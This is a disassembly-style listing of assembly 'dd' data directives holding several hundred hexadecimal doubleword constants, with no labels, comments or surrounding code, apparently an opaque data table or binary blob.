dd 9B3BD05Ah, 17FEF586h, 18DDE2h, 3A785D09h, 4B0E6CE9h
dd 0D5D1DC14h, 0DA986C03h, 3C7F7DEDh, 4417543Ch, 0A00D6A43h
dd 50DCED4h, 91E84993h, 71A2A8D6h, 4CAF6ED2h, 0C5EA31A6h
dd 0FA32861h, 0A6583EEFh, 2B76C99Fh, 0F0B719E9h, 476E1009h
dd 0E94DF131h, 0FE51269Ch, 0C2D8FE25h, 0FD4508Dh, 0B4F02D57h
dd 1432B389h, 5A4D7394h, 630D5803h, 8957007Eh, 5699E3AFh
dd 73294921h, 850EAC6Eh, 0FC329D3h, 0E8371266h, 85E60E0Ah
dd 3C3EF3C1h, 0B6B63F78h, 0B795935Ch, 0EE98AC73h, 2C7FFDCDh
dd 4D53F8A7h, 6E84FF90h, 5467948Bh, 9550061Eh, 0F9A2A0D0h
dd 30A4AB93h, 896122Dh, 0E412AA53h, 56B04664h, 5EFE2E08h
dd 5F8E71C9h, 0CD5E4EF7h, 0B8569C85h, 4361D81Fh, 734DB029h
dd 0CB9FA8E8h, 0C13EA144h, 0CBEC88FCh, 0E32D6ABBh, 48302C92h
dd 60E59771h, 0E81E375Ch, 25F149Eh, 4CBEF023h, 0EDFF02DEh
dd 633F166Ch, 0B59DEDE9h, 7143D728h, 1C6EBB75h, 0B66312D1h
dd 892C01C8h, 443DF2C5h, 0B03F29BCh, 0A647D6C0h, 46773AF2h
dd 0EF8C7F95h, 881B3C54h, 44043EB1h, 0DC1CBCCEh, 855AECDBh
dd 6FF2BD29h, 7F817B64h, 0A2379A9Eh, 1D9B20F7h, 0BA5AE4FAh
dd 59B5A594h, 41E424ADh
dd 3F1F2DCAh, 24CA5ABh, 8997C89Fh, 0FAC790Fh, 18B85715h
dd 2EC4C885h, 571C7013h, 4E299FEFh, 539C0A31h, 0E8AEBB85h
dd 0F77F8DE0h, 0D2EBEEh, 0A9C320C1h, 350C6371h, 0CAEDF717h
dd 3DC469E0h, 302D7E1Eh, 0CD67DEACh, 2EC9A98Eh, 17D33F87h
dd 0EEA49D16h, 7E81825Bh, 0B7240E90h, 235679E6h, 7F2A1D52h
dd 8BFBC5A5h, 13FE6FE1h, 0CFB9F200h, 578C58F7h, 92FBB4F1h
dd 9D312EDBh, 8C86584h, 95136C40h, 0BB74F9C5h, 69A840ECh
dd 20A49332h, 0FAA6DB05h, 2004FB20h, 2A7D2E17h, 0C85FAB23h
dd 50E90267h, 0F4637FC3h, 876C87F9h, 1571747Eh, 38274B92h
dd 350EA46Eh, 9ECB841Fh, 0CA30A2D4h, 0F702F73Dh, 4C805929h
dd 530AAAC0h, 0FE1CA97h, 59555927h, 0F77F0B5Ch, 8E4D16D4h
dd 70099BA6h, 11630D80h, 0EF7ECE6Eh, 0C0F883E9h, 47EBB638h
dd 41844D4h, 8295DEF2h, 7DC12EDDh, 48A86048h, 0C0536C38h
dd 0F1BEACC8h, 240B2FB1h, 0DA65B7A6h, 0DA4A57E6h, 7105E3C6h
dd 9F85699Bh, 30245F72h, 0B799AE4h, 0A134F2A6h, 17FCC998h
dd 857F71EFh, 4407AC9h, 0CAF47B11h, 39162FECh, 4AD8AD45h
dd 397F7DE6h, 0C553E0D3h, 2E91ECB8h, 4FD0458Ah, 19B98D9Eh
dd 8290E8B2h, 8CCD1418h, 13D6E3A4h, 0DF58E952h, 0F47680E0h
dd 0BF38AD13h, 17B8C91Eh, 0E66EF886h, 6965F17Eh, 4E6EA314h
dd 720188D1h, 24166A9Eh, 0DC322825h, 1CEB3CDAh, 0A5ACCADDh
dd 44ADA765h, 0A820072Dh, 6F1DF765h, 0D0A79B97h, 507D9234h
dd 1CE10200h, 92E2CB95h, 0EEBE828h, 0FCF48A8Eh, 0DA8E1D0Eh
dd 4040E8F4h, 0F3D14ECAh, 0DB868AB5h, 0D3BB5B84h, 0A145B43Ch
dd 51C73EC2h, 1D40D49Dh, 0C4DD32AFh, 7EC1C541h, 28C6BB2Ah
dd 194E56ADh, 39F84501h, 7170D41Ah, 5E74A2DCh, 0BB8B60FCh
dd 0AA473DF3h, 7DA390Bh, 0CD90B7EAh, 7C5AA3FCh, 0BF27A7F3h
dd 0B244D124h, 2E59F35Dh, 238FA9ABh, 0A1410251h, 7B96928Dh
dd 0B85896B9h, 9936D21h, 1865E92Fh, 5279DD6Bh, 71841319h
dd 3A9D1FCDh, 41EB108Bh, 39A2F5D5h, 224CD426h, 0CEF4A011h
dd 42A4BC6Bh, 20B84540h, 60D0D50Ch, 7382B6FEh, 958CFAA2h
dd 8599256Eh, 54D9D160h, 0BB368BD1h, 87ACE1B8h, 0AFD00FE6h
dd 0F20F5CAh, 0F5AC747Ah, 0D201C0A3h, 0CE212ABCh, 374C03F4h
dd 18094CF6h, 0C3487C7Ch, 0BA08C618h, 0C027894Ah, 1849C340h
dd 9C2F3910h, 10C8DD41h, 0D2FD1FDCh, 939D51F3h, 6CABF002h
dd 1FF9D258h, 9E8884DBh, 597ABA26h, 11339A2Dh, 332F73F6h
dd 60B569D6h, 2149FFB5h, 452EFB9Ah, 0C34133C1h, 0CDDB4847h
dd 805A69D1h, 6DBCAB5Dh, 4C64356Eh, 761326CDh, 0D6227051h
dd 0BBE7157Ah, 0C086D4E8h, 0ECDC0F03h, 0B4F409h, 6C9DE729h
dd 4FD126C5h, 1D768676h, 0CCD2644Bh, 3D37A71Ch, 9CA84A5Eh
dd 0AA4874Ch, 0CAABDE6h, 97573181h, 0A45931FAh, 7C4F171Fh
dd 0D987E738h, 0D8750CE5h, 16F1C9D7h, 1FA88CBh, 0B9E51A18h
dd 3D4EDDA5h, 20EE8860h, 0F5812241h, 308C3B6Bh, 3A28C659h
dd 72A4748h, 0E9D097EDh, 0DD949ACBh, 0AD27C8DEh, 6CEAA3E4h
dd 432FC929h, 43281521h, 2B648695h, 0F0946CE7h, 9A7C0D3Fh
dd 7EE43CCBh, 7981C0FEh, 3282D0D9h, 0B04028Eh, 0ECFAAB5h
dd 3D4BC0EEh, 7F202FCDh, 0EB5B7A4Dh, 4ABFB948h, 8C8D3885h
dd 9E822921h, 41A6359Dh, 915186AFh, 0DEA7B1DCh, 2F144D5Bh
dd 44AF6633h, 43200D5Bh, 0BE13D029h, 0F583153Ah, 76F689E3h
dd 3542DC3Eh, 412DB659h, 21DD45D0h, 0F5059687h, 4709E319h
dd 4D5C44A2h, 0D45ECA6Eh, 3210D144h, 0BB40A951h, 9990BABDh
dd 0EC52476Ch, 0F7AEA2B5h, 98B73833h, 61603607h, 76E121D9h
dd 842E6274h, 7218BED2h, 0C1C8B745h, 0B311E69Ah, 16AB0087h
dd 44FBC8Bh, 0B58C01BEh, 3A975A78h, 0B52B57A5h, 0C3569F67h
dd 136E20A7h, 40D1235Ch, 7A33012Dh, 0B3864FB5h, 76355A60h
dd 39F67558h, 0F5ABBD1Ch, 0C1D4D335h, 48206753h, 8F071F1Fh
dd 68FDC56Bh, 183BF646h, 0B2DAF855h, 0C0278F9Eh, 157127A4h
dd 5130E055h, 8384DA81h, 0EC0A0DF1h, 0FDA2F75Ch, 94AB39D1h
dd 67BDAB83h, 32E0269Ah, 0D8F0FFCDh, 45E0494Eh, 0CA6CDC20h
dd 0A7EFF9D7h, 0EB201735h, 68604C8Fh, 0D106475Ah, 0F46DBD03h
dd 6CD3675Ah, 0DC8CCF47h, 91A078FFh, 0E8CA3AE2h, 7A8EFCD3h
dd 0D4E4E1A7h, 0C8284922h, 0D0D136A0h, 0ED225FEFh, 0E6CAA1B4h
dd 83E9D273h, 1D9A9849h, 2F241182h, 0A07A7E1Dh, 7DCDCF99h
dd 0EED86168h, 1D5F92E1h, 6DD7F1F5h, 0C367445Eh, 0EA5282C6h
dd 7FE8A578h, 0B5F4A251h, 91476017h, 78017C2Ah, 7AB3C3Ch
dd 7287BB91h, 0FF5F4EDAh, 66C8E27Fh, 624DAB8h, 0FE5F4C1Ah
dd 0A3151465h, 0E44C8D02h, 29E8F1A0h, 7B6012D3h, 64D98354h
dd 3F6EC467h, 3A26B62Ch, 0DE05029Dh, 3FDBD6E8h, 1942CCBBh
dd 1DE99283h, 86AD7D91h, 605D517Ch, 0E5A5BCB8h, 4C3261F9h
dd 0B0F465FAh, 62A7DF72h, 10299150h, 284D0CBFh, 8AE2F89Fh
dd 29F12B96h, 0F95BA5FEh, 66280655h, 0AAACB834h, 0CDC9435Ah
dd 6B88608Eh, 8C4BD24Dh, 6A95997Fh, 0BF722D05h, 0A41368D3h
dd 475215C0h, 6BCCD042h, 39B10D99h, 7BD3F275h, 429D2254h
dd 64FFD5D4h, 6E5C4C12h, 6B0BC614h, 0FF770DF4h, 4A3A1D5Bh
dd 19F6B83Eh, 0E0C52CB6h, 5E65EA26h, 0C88A0F6Ah, 75CB9E8h
dd 11DA944Fh, 7AF4F59Bh, 12B2AB96h, 87EB502Fh, 0EFC779B4h
dd 5E133DDBh, 0CA0140B1h, 0C2AEB4AAh, 20D380B6h, 0B8D03216h
dd 3930B1FDh, 19DADBD7h, 7A10C22h, 0D7FB53CFh, 76FCF5DAh
dd 0FFA3BAE9h, 664996A5h, 1E8CA7C9h, 0C7071AD0h, 0B57D73D6h
dd 0F8271AF9h, 540D1974h, 1B46DA10h, 0E5B5B6DAh, 0ED98131Fh
dd 0F2BDA285h, 45DD05C9h, 0F470B206h, 11A16924h, 6F423FFBh
dd 0F48B7ED3h, 8B582ADAh, 0E258B1D6h, 95E868D3h, 6F2EF2E2h
dd 430C1CE6h, 0FAF4B137h, 0D53A5965h, 22686034h, 0C5EABF97h
dd 803497F4h, 68CE0696h, 5A64A0FAh, 0A35A5F36h, 40DE6B6Dh
dd 0A74BCB6Fh, 0CDD01231h, 0C43E3892h, 0F441FEFDh, 0E75486ADh
dd 0FB96CB7Ah, 103C4681h, 0D48B80E5h, 9BF8CC8Fh, 0CAF82335h
dd 6E175A11h, 9289E818h, 0FAAF5A9Eh, 0D707A54Fh, 0CB400CD1h
dd 3BCD843Ch, 6E9C2353h, 373928E9h, 5D6B74Bh, 1828AE45h
dd 98E1A642h, 6BCEF3DDh, 65677E34h, 0AC6B4F49h, 7BAF047Ah
dd 0F30861CEh, 172E9AB7h, 9584508Fh, 0B2331095h, 6DDE6837h
dd 4EAF3C1Fh, 485E8C7Eh, 847F2B3Ah, 0C7E5AFBh, 47CF8AC2h
dd 0B6FE3F5Dh, 0A892AC2h, 62571039h, 81B18E7Ah, 0FBDF8D9Dh
dd 74CC0F14h, 0AF7E6A74h, 6A9AC452h, 0EA72F57Eh, 9171D3E7h
dd 56D2FB7Bh, 693B819Bh, 16359434h, 8B63534Ch, 5BB2C2E0h
dd 62D3F870h, 0D48AC24Dh, 426A8572h, 0E4EB4E70h, 0A20217B2h
dd 1D865C30h, 8CA0F0B0h, 999780EBh, 9002AC4h, 4E224164h
dd 6CC8FE8h, 0F05B670Bh, 26BB47F0h, 80F30982h, 0E717337Ch
dd 0D9A1BB40h, 817C7B3Fh, 67EDEF50h, 9B2B5FBFh, 1029B482h
dd 531FA26h, 0EC7F755Eh, 0F5E7E4C4h, 86B6E0FCh, 0F3684D70h
dd 3D99F8F6h, 396FDFC3h, 0D3A6F0EBh, 0E43D2957h, 0EE2A6925h
dd 71156345h, 285677D3h, 0B0DB3DBh, 7B68C402h, 4C125EE4h
dd 9DEFF159h, 6E6269ADh, 6779A2BFh, 0BB128AFDh, 981BFB11h
dd 37EB7EF4h, 97D7C2F4h, 0DE475E10h, 0C9282B9h, 0CC2DD310h
dd 92C5C37Dh, 0F3568884h
dd 7354A92Eh, 6960262Ch, 0A3666FE0h, 0E514A940h, 0BB831284h
dd 0B4CB0725h, 0CA87C008h, 0FC144ABFh, 0D5CD51Fh, 44D24C2Ch
dd 4519ECB2h, 2340FB30h, 0DA63E02h, 61E4106Eh, 0F1FA7BC5h
dd 8AD6C886h, 2B2B20Ch, 0CFD6C77Ch, 0FF79C46Dh, 0C96C89D0h
dd 0A22CF68Ch, 17051305h, 8BDE2Dh, 726183F8h, 99813D6Bh
dd 0CF766D7Ch, 95C84A20h, 5C235596h, 0F69C0EFAh, 4850C087h
dd 3FD43145h, 2717037Ch, 372F1112h, 81B88BA1h, 2A77645Fh
dd 4F4D2AFCh, 651AC271h, 0DED27294h, 836789EEh, 77E382E7h
dd 91A6A5CCh, 0DAFEC159h, 6325601Eh, 27AB50C3h, 0A0D2BCD2h
dd 7C35F12Bh, 0F0FA5150h, 0EA16AF5Ah, 398266A3h, 1ED44AC6h
dd 67170BD2h, 98E974AFh, 21524B23h, 6E2BB413h, 80820993h
dd 6675C793h, 43FAF4DFh, 17B997E5h, 0FEA87C79h, 19BAA71Ch
dd 61BD19CDh, 1A30F2C6h, 11BB20A6h, 964A97Dh, 0EB862529h
dd 63DDB4Bh, 0B7432B74h, 2B8BD7DCh, 0B0FCC2ADh, 80914C8Eh
dd 0F93F8D2Dh, 778C0F54h, 164769F2h, 0AA112FB6h, 4C4465C9h
dd 0A7A72748h, 8759C2FAh, 24792E06h, 0CB8EA6DAh, 9D168595h
dd 57F6B7ABh, 94C07EBAh, 453DB31Dh, 429A195Dh, 0D48C81A7h
dd 27BE389Bh, 7D139AF0h, 72318310h, 988358F9h, 0A8E87D54h
dd 0FE5F747h, 5E35266Bh, 7AD99347h, 0E6FEBA40h, 20BC610Bh
dd 67569F39h, 0AA495112h, 0D1A3D6B7h, 5CB6ECA6h, 5F4D8F54h
dd 9BCECE81h, 7F4D0DE1h, 0DE9BC84Ch, 24A8A44h, 785A5E82h
dd 0B9C55B1Ah, 4799EFFEh, 0A8D7BFC3h, 0F70906C4h, 396CF7B8h
dd 24205D60h, 0CE9DECEEh, 0A2BC3A04h, 219C3EF7h, 4DB22955h
dd 0D69F057h, 2056F23Fh, 2FBCEEE1h, 0C0ADA2F0h, 0EEDFE11h
dd 8FE8967Ah, 8B518575h, 0CFC6C71Ch, 0D33366A8h, 4C12713Ah
dd 0A6E87BBFh, 0E8B3AF36h, 801E87FEh, 73A3A551h, 8C185323h
dd 28349B0Bh, 4F48C2EFh, 0BED04A83h, 7F5FF905h, 0D2578352h
dd 11B87475h, 0E062DE64h, 0FE04C9CAh, 0C4E59DB7h, 15ABAABEh
dd 1A69C0Eh, 407972F0h, 0B598EA75h, 7D623C8Dh, 4877B643h
dd 9D5B3B04h, 0E7738858h, 42668557h, 0DB774F38h, 685318DBh
dd 0C986189Fh, 8D316CC8h, 0DE6044A1h, 8AB62374h, 0CA805FB9h
dd 0D1142DE6h, 867CFA6Fh, 20E863A3h, 0B31D4D5h, 601F2625h
dd 0DF9A5D57h, 86A40323h, 8BA9AA8Ah, 91D2D641h, 0AB8B8730h
dd 8CE00E3Dh, 19A275BAh, 6854C721h, 8FE9E0C7h, 0C08E0F10h
dd 7A949566h, 0DCA23C9Bh, 0FC5352C4h, 4BD7C10Fh, 0CCB8CCE2h
dd 659D237Eh, 2E39B6C2h, 211E7CC8h, 733F4F40h, 0C970C0DDh
dd 0E0600EE4h, 0EBFFAD19h, 0DCEC897Dh, 6B5BF34h, 0EE42214Ah
dd 0D92DF791h, 85D9E3FBh, 0A8E1D5EBh, 849D0923h, 0F5A8508Fh
dd 62C79CC7h, 4C954A9h, 2954F1C0h, 889C96AAh, 0E6EEBB18h
dd 0CE945D7Eh, 0E37199F2h, 89E44E60h, 5DAB4556h, 1C4C22ECh
dd 68676C17h, 3B07C012h, 0CDE5A717h, 45209A8Eh, 0A0C1555h
dd 0BFB51F86h, 876F66E4h, 0F6CB542Fh, 4BB02ED8h, 97866EBBh
dd 0A6B54D5Bh, 573E0D92h, 30AA8153h, 0E803BD19h, 529FA561h
dd 20AE78F1h, 733A4E2Eh, 2F17819Ch, 86D5FF3Bh, 0D162D66Ah
dd 581207D1h, 62EBAC47h, 6AC74409h, 26DA3A85h, 0E3F1CEE9h
dd 14A4C270h, 2A62EF5Ch, 4F496EEAh, 1243C0F5h, 34D007B1h
dd 5547454Ch, 0B9F5F6D1h, 6F032C8Eh, 4777C205h, 1A259E95h
dd 0F1FD1B92h, 0F059839Dh, 96BF09F8h, 67AA1E25h, 57166B33h
dd 0AAB87580h, 0D680AAF8h, 77B7930Ah, 0F6290E57h, 0F64E3Ah
dd 0E8D7AD1Fh, 0C48DE56Dh, 0FB990AF4h, 0DF201936h, 0D438F7FCh
dd 0DE58B27Bh, 0AF4C4E97h, 13EFA9BFh, 6E47A6CCh, 0A838F38Dh
dd 0BA927C82h, 55D639EAh, 674416A9h, 0AB5A2FBBh, 91D4A2A0h
dd 169BB70Eh, 0BAFDE5h, 0EE5305B1h, 2DE702C0h, 0D16BAF9Bh
dd 0FA868E26h, 1C92D47Eh, 1EB3F6CBh, 0BBD29681h, 0C9F4F0F3h
dd 0A1FBE567h, 22CDC876h, 77E435D6h, 7D4C6FBDh, 0E37CC40Dh
dd 86406D05h, 2464F54Eh, 6B82639Ah, 0A01A0DAFh, 670C9F10h
dd 11E35915h, 83C34F44h, 158D382Ch, 0CF3B18E0h, 0FAA10BB9h
dd 0D330EEA4h, 6B34F78Bh, 2839EE7Dh, 0B09B41BAh, 7BCF07C0h
dd 287F9A5Bh, 4AE5E2F1h, 0F64A6059h, 9B1DEDAh, 0CCEFCA0h
dd 3D9707DAh, 68C76C4Fh, 0A09A0A13h, 0A410BE40h, 0E022839Eh
dd 0F07DCE0Ah, 4C6BC95Fh, 0F329C925h, 0BE5D63C1h, 6854F7D1h
dd 98D4DFDCh, 8F7EC69Dh, 9F78C0DFh, 10A6D7B0h, 5FC3ACE2h
dd 0A5222F59h, 9A53FA19h, 926E8FBDh, 0D3446BB7h, 5756DD0Dh
dd 83705BE3h, 1199ED3Ch, 0DB33CDA4h, 5B32EF8Bh, 8D08967Dh
dd 94977D48h, 4661D756h, 0F6C8653Eh, 374F11AAh, 0EE9C4B4Eh
dd 0D3A9CB7Eh, 0F0AF4570h, 6C1C513Ch, 946665A7h, 6407CE3Ch
dd 6AE165F8h, 892009B6h, 561B4988h, 583D290Ch, 0F470DA92h
dd 1B14D37Ch, 0BFD0028Ch, 693D0734h, 875C7366h, 3715B930h
dd 5CBACC76h, 73F70230h, 0DC115ED7h, 71DD5DECh, 262E87AEh
dd 0DAAD8804h, 53CDB03Bh, 52F1C483h, 215EECC5h, 86BC4CA6h
dd 1ACB0283h, 2C67F397h, 74BB0486h, 816E8F60h, 0A318EF4Ah
dd 4B4CD6A3h, 0D1120ECBh, 0BEA9FAE8h, 9E537480h, 5C387AA2h
dd 0A44B93E0h, 72D0FB5Eh, 8C72F71Eh, 5317010Bh, 4349826Ch
dd 0DF6D8D4Dh, 4CFB216Eh, 8376B36Ah, 0A849014Eh, 14B1B7C7h
dd 0F9394F7Bh, 23488956h, 0A1CF0F4Ah, 2674D719h, 8996DC38h
dd 0FC0157EBh, 8D23F5E4h, 595831B2h, 505518B5h, 0B3F299FBh
dd 0A09BABB7h, 0E7EFA47h, 982790FEh, 0C44D13E8h, 0B30791EDh
dd 8A7FDB79h, 0E003670Fh, 98EDD4B0h, 9890A13Eh, 0C87EE89Ch
dd 0C2530003h, 64C04B33h, 6FAD0FE7h, 0EB4846DBh, 0DF78C492h
dd 5DEA7AC4h, 4E5B8005h, 5C40B908h, 0C3794C49h, 9223773Dh
dd 0C5DAE88h, 31E37ECCh, 78284FE2h, 7FF30B6h, 0E8B28F45h
dd 63CB946Dh, 0DC315C49h, 71F1B2D0h, 0EE017DEh, 95632AD1h
dd 44570F1Ch, 1177D2DBh, 0CBDEEA5Ch, 58FA7040h, 3B011DC3h
dd 4BA5D6A0h, 6E50810Dh, 1F6DCCD1h, 0E56AE33Fh, 0C2CA0BADh
dd 444F96A5h, 0C936866Ah, 7B6BDC1Dh, 1D01A0B9h, 835F376Fh
dd 52EFDDFDh, 36DC021Ah, 9AAA4841h, 0CC9E86D5h, 6CBA6809h
dd 190929h, 3E6866FBh, 6BB4A51Ch, 0D58B3813h, 9BE70AC3h
dd 43A88A22h, 6AEF4135h, 8BEC5125h, 26A3DBCFh, 64AF51FDh
dd 5ADABD13h, 34B68EF1h, 0FD2E02ADh, 47B184AEh, 1DDEAC3Dh
dd 391C0689h, 5C458C83h, 7B46A811h, 0FCD7847h, 823E86AEh
dd 0B05960A3h, 0E08DAB57h, 0ECF036A4h, 0CABA843Bh, 0E2EA4E3Dh
dd 270C8EB4h, 0F42802FBh, 0C80AA11Eh, 0DADF76DBh, 50EE91CCh
dd 221DF7CBh, 340498Ch, 978F5CA5h, 0DB1104B7h, 0F7C7BD0Eh
dd 0C05C451Fh, 0EECABF60h, 53AA6866h, 0EED1E444h, 9CE88CA5h
dd 66D3D8B3h, 4672CAFDh, 3D2F6D2Eh, 552B9759h, 0C8D192F5h
dd 0C00C492Eh, 769C9A86h, 0AFDA7B0Bh, 24246AC6h, 0E80DDD7Fh
dd 0B3944883h, 0C429F525h, 7081E0AEh, 99B483ACh, 2C29442Ch
dd 0F49DAD2h, 0DA7304B9h, 0C0B9CC0Dh, 7BC2E908h, 0CC55AF0h
dd 0ED998B82h, 4DEE97CCh, 4FFB370Bh, 0EDD3D4B6h, 2998CD6Bh
dd 60F5E012h, 0FFE75F1h, 0F90B3253h, 0F9E91AA6h, 4F9427FCh
dd 61AA7178h, 16105199h, 3EC3DBCBh, 6E6DC903h, 81AA663Eh
dd 0DCCCAB77h, 39216B8Dh, 0DEB6D017h, 7AFDB8D4h, 21B8570Bh
dd 5EAD793Ch, 0D4E7A747h
dd 0F8327484h, 0D1A7AF71h, 2B26D94Fh, 0F0ED6EC5h, 67D8C32Ah
dd 7412B18h, 6976A2C8h, 1867E949h, 559A6A6Fh, 9F4F53DBh
dd 7E198C9Ch, 79A41699h, 0AF1098C6h, 9AD4B54Bh, 7973792Ch
dd 0BE74E770h, 7BE662E1h, 0EBD3DA3Ah, 3519439h, 1E736870h
dd 0A4F81299h, 0F4C86B2Ah, 0CAB630F1h, 96C7D4BAh, 0D800960Ah
dd 1EF43DD5h, 0A5D968CAh, 0FF3D5DE8h, 937FFEB3h, 12D17FCBh
dd 0C763373Bh, 71731C02h, 0B0C638E2h, 0C72FEFC4h, 0C8EF18C3h
dd 278A9300h, 0E4CAF378h, 62E68F51h, 88374340h, 0D8411B50h
dd 41C762B0h, 19475047h, 29898DF5h, 0BA7AE093h, 9C1D953Bh
dd 3C819C82h, 0EC989761h, 42E42073h, 36F20131h, 0DDA12960h
dd 0C34E9621h, 0AFC50FCEh, 0A4E41A94h, 0DF759B34h, 9A1E555Fh
dd 85521D18h, 3C681712h, 27AA135h, 2F51D535h, 5A316853h
dd 0E18B5176h, 8F2CEE93h, 0B27C90FEh, 0B8F1E0BAh, 21480E0Eh
dd 767B2361h, 5C6AB2CFh, 0D0699300h, 0E0C83F59h, 610DFA13h
dd 0EA6F4301h, 98050194h, 0BEA50318h, 5444E31Dh, 0B1928E98h
dd 0CCFE9970h, 3B743C00h, 847860A9h, 0CA60A18Dh, 62DC4432h
dd 0CBBB3F62h, 90B0716Eh, 0A69B5460h, 73A2B654h, 0E15FB8BEh
dd 937DFFDAh, 9B5A9374h, 0DA775410h, 3D124B5h, 9B6CDDBCh
dd 1504E10Ch, 6D446E7Ah, 5337FAE1h, 0D2816BA7h, 3AB3246Fh
dd 21C7835Fh, 0B4D6D2F2h, 435BD6ADh, 0AA3C5F3Bh, 0C18FD68Bh
dd 9145415Bh, 0BEDDFDDh, 0CA9B06AAh, 58350380h, 54176128h
dd 1CFE1E93h, 7C65CA92h, 728B89Fh, 0B348EABFh, 71B45934h
dd 780F2B4Ah, 4592A2D5h, 0A2F04CF4h, 9DC90721h, 79FA914Dh
dd 0B58312Ch, 27AF60DFh, 26AB02DCh, 0DECF9820h, 13D21898h
dd 7FE96AC5h, 576C15F7h, 154598B5h, 817BB257h, 65DFB4E7h
dd 1320BB4Eh, 89238373h, 0BB5FC10Ch, 381C4EF1h, 0C6F2DED7h
dd 0EDBDBF57h, 37265B30h, 0AA3C0EBAh, 49F5CAEEh, 646C0D45h
dd 302F6DC8h, 3D9DE90Ch, 0A887D125h, 8329B81Ah, 0B6EE9DD9h
dd 3A2C06AFh, 3A48B355h, 28371FE1h, 4ADC45B5h, 4E32C71Ah
dd 0E929CAE8h, 8655ED34h, 0F7E0BFAEh, 0E1513D54h, 26E34535h
dd 9B7EB020h, 0DAA6D620h, 8C434D5h, 0E26F8C6h, 8705EA56h
dd 7C4C0E64h, 0F6CFF603h, 0CEA92449h, 0E1A6DDE5h, 0BBB1D065h
dd 7B65ED0Eh, 494956A0h, 430E3FC1h, 0FF77AB31h, 91498B8Dh
dd 3C210F9Fh, 0CEA274E7h, 9E65A329h, 0FFE9E8F1h, 642A1F3Eh
dd 7D9980D5h, 0FE23BEF3h, 79E76924h, 6078708Fh, 5F14BD34h
dd 6598D2F8h, 0E2F01174h, 88C09D21h, 0C05DD9CCh, 37A4709Eh
dd 522AB5BDh, 0E82327E9h, 0CEFD3CEDh, 0EE231CC4h, 0FE6CE04Eh
dd 0AC9BD418h, 0F3E2E8Fh, 90E3F568h, 692E365Ch, 3363AC4Fh
dd 0BF0C1C6Fh, 2EDF4D46h, 31C70D4Bh, 0D7A8969Dh, 0C43D2AF6h
dd 0FC6AD965h, 2800C835h, 0ED4C63E8h, 0CE1F8B46h, 0DE4C0B67h
dd 2BC76194h, 471FD7C8h, 7F1DC299h, 44DB82F3h, 0B9180ECDh
dd 436DF11Ch, 3C22B88Ah, 1E992CA5h, 15A859FDh, 94882DBFh
dd 0D4A350C8h, 43A760A6h, 62B04406h, 357F5E3Eh, 973CFBFBh
dd 623398F7h, 440F617Eh, 0A1A12091h, 0ADBB62B0h, 9011BFEBh
dd 0C2A4BA4Eh, 7ACCA7B6h, 0C7668283h, 72445813h, 0DE16294Bh
dd 8D62932Bh, 0D1C5EF82h, 0F860568Eh, 0F7314741h, 1E15CF67h
dd 843B02AEh, 0C1F58A60h, 8CC10952h, 56FDD5B2h, 61A8923h
dd 52BE8CB0h, 0D01DFD84h, 443E0151h, 0A9B52D54h, 0E9A1DB5h
dd 6CA2A9FEh, 5D475321h, 60EC9F37h, 0BC41DB4Dh, 0F78B02ADh
dd 0E39072D4h, 0D170AF68h, 0E6D39D4Bh, 75ADF12Bh, 0DA45A0D4h
dd 76B3E1F8h, 8C01CAFBh, 0B11E220Dh, 0CA0DA3CDh, 336F0090h
dd 0F14F937Eh, 38B3DA14h, 9A48B6Ch, 0BED96F79h, 0C5B79341h
dd 0C7D84B07h, 0D66C4820h, 0A9B3071Ch, 1BAB19FCh, 78E2EEF9h
dd 0BFD1BE5Fh, 6E653F2h, 0BEBCFBFBh, 0FEDB3963h, 0C2D1EAB6h
dd 3CFB0CAFh, 3E9D1550h, 4FFBDBFEh, 9D4492D9h, 8C746D37h
dd 87CC63BAh, 0E18BDD6Ch, 1FDEF6D6h, 5FE0B3ACh, 869F2940h
dd 4923E1F8h, 0A503D914h, 3D632A44h, 5B5DF8E0h, 0A053AE3Bh
dd 0B752693Ah, 0ACA7090Dh, 0EECF9307h, 6453FA10h, 6A99D76Ch
dd 0AA33EF7Fh, 0C156AAAEh, 23DA8F7Bh, 0EA598F04h, 0CC8C2AEBh
dd 9E1C06D7h, 3FB5063Ah, 5786890Ah, 0D6729AB1h, 0BE76BEB9h
dd 0DF5838E7h, 7BC264h, 0FC72009Ah, 6B5D11FEh, 0EBBE21E2h
dd 35542664h, 8CF913F3h, 439F6C63h, 290AD550h, 62DB7B57h
dd 0DE5610B8h, 6DBC9DB4h, 8DB2178Eh, 0D122DB35h, 730FEC6Fh
dd 0E5C9F962h, 0E6C2A9FBh, 5E5DD89Ah, 5E532905h, 0E70F3346h
dd 74D2B60Eh, 4BA5D328h, 1C73AC8Eh, 0C219D687h, 1C300687h
dd 6F258F1Bh, 6943E74Fh, 1DFB050Eh, 78A2FD32h, 1BC35208h
dd 0F8189A3Ch, 9C690DB8h, 7E583F6Bh, 347387B0h, 0FC72028Fh
dd 9D6D06DEh, 0CBBE2B6Eh, 50C6DB90h, 0F30685DAh, 0AE37F8B4h
dd 270192A0h, 156A5A29h, 53A118AFh, 6D7F22AFh, 8D7960A6h
dd 4D3213D7h, 6714610Dh, 202ABB01h, 0E748FFD7h, 0E6800792h
dd 0EF28347Ch, 0ABC4A3DBh, 0C59C01E9h, 495AC321h, 6A30124Dh
dd 0B584930Eh, 6B21B4F9h, 0CBDA936Fh, 595BFB93h, 0D8B2ED51h
dd 911B12F1h, 0A9F3228Ch, 331AC33Ch, 0BCDD1365h, 4DD33F2Fh
dd 0C1C157D9h, 1C72F827h, 0CB7E4F5Ch, 0A0985D7Eh, 0A2173722h
dd 73FA2723h, 0D39CEBB3h, 0B19865A2h, 9F53E544h, 73C5894Fh
dd 92476C28h, 72B063F7h, 0A4CD9B9Dh, 836BE3F0h, 0E5A3CFE9h
dd 49FB5E76h, 4700C844h, 2AC7E98Fh, 65073C4Eh, 0D7C0594Ch
dd 0A24BB4C1h, 70F4EC86h, 95949B07h, 6C53BB8Fh, 0EAF9E405h
dd 0D392F58Ah, 0CB388E04h, 5763EA06h, 0DE3D18EFh, 0F41D988Eh
dd 1B55BF32h, 0E583F7Bh, 0D0838226h, 84DB056Fh, 719A0AF5h
dd 0BBE9A7Ah, 9F8429E7h, 0FC068136h, 4389BE27h, 8B8A175Dh
dd 657D9451h, 1893B0B6h, 283051A4h, 7280E312h, 0B130FDE1h
dd 771083A0h, 65A93A56h, 2237AC3Bh, 0F56D4F4Eh, 55336764h
dd 7998AFCh, 7EEF6195h, 0A16D9070h, 66317390h, 5B2F1087h
dd 9D32106h, 0E86D445Fh, 96764EBh, 92188601h, 0EC772D8Ah
dd 4C4928E5h, 0BF12BF88h, 5BFCAA4Ah, 0C582F3Bh, 6F36C3A2h
